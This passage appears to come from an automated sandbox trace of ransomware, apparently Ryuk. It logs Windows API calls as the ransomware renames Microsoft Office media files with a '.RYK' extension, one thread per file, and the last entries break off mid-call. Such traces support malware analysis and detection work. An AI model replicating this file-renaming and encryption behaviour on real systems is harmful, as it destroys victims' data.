	[0278.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.940] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3954
	os_tid = 0x4354

	[0278.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG", dwFileAttributes=0x80) returned 0
	[0278.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.942] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3955
	os_tid = 0x4358

	[0279.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF", dwFileAttributes=0x80) returned 0
	[0279.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0279.249] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0279.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3960
	os_tid = 0x4374

	[0279.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF", dwFileAttributes=0x80) returned 0
	[0282.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3961
	os_tid = 0x4378

	[0279.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF", dwFileAttributes=0x80) returned 0
	[0282.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3962
	os_tid = 0x437c

	[0279.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG", dwFileAttributes=0x80) returned 0
	[0282.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.340] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3963
	os_tid = 0x4380

	[0279.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF", dwFileAttributes=0x80) returned 0
	[0282.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.042] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3964
	os_tid = 0x4384

	[0279.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF", dwFileAttributes=0x80) returned 0
	[0279.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0279.256] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0279.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3965
	os_tid = 0x4388

	[0279.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF", dwFileAttributes=0x80) returned 0
	[0279.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0279.257] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0279.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3966
	os_tid = 0x438c

	[0279.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF", dwFileAttributes=0x80) returned 0
	[0279.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0279.258] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0279.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3982
	os_tid = 0x43d0

	[0283.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML", dwFileAttributes=0x80) returned 0
	[0283.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4006
	os_tid = 0x4408

	[0284.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF", dwFileAttributes=0x80) returned 0
	[0284.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.421] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4007
	os_tid = 0x440c

	[0284.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF", dwFileAttributes=0x80) returned 0
	[0284.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4008
	os_tid = 0x4410

	[0284.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF", dwFileAttributes=0x80) returned 0
	[0284.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4009
	os_tid = 0x4414

	[0284.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF", dwFileAttributes=0x80) returned 0
	[0284.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.424] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4010
	os_tid = 0x4418

	[0284.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF", dwFileAttributes=0x80) returned 0
	[0284.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4011
	os_tid = 0x441c

	[0284.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF", dwFileAttributes=0x80) returned 0
	[0284.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4012
	os_tid = 0x4420

	[0284.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF", dwFileAttributes=0x80) returned 0
	[0284.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4013
	os_tid = 0x4424

	[0284.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF", dwFileAttributes=0x80) returned 0
	[0284.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4014
	os_tid = 0x4428

	[0284.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF", dwFileAttributes=0x80) returned 0
	[0284.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4015
	os_tid = 0x442c

	[0284.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF", dwFileAttributes=0x80) returned 0
	[0284.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.509] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.509] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4016
	os_tid = 0x4430

	[0284.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF", dwFileAttributes=0x80) returned 0
	[0284.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.510] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4017
	os_tid = 0x4434

	[0284.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF", dwFileAttributes=0x80) returned 0
	[0284.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.512] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4018
	os_tid = 0x4438

	[0284.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF", dwFileAttributes=0x80) returned 0
	[0284.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.513] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 4019
	os_tid = 0x443c

	[0284.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4025
	os_tid = 0x4458

	[0284.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4026
	os_tid = 0x4468

	[0284.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4027
	os_tid = 0x446c

	[0284.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4028
	os_tid = 0x4470

	[0284.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF", dwFileAttributes=0x80) 

Thread:
	id = 4029
	os_tid = 0x4474

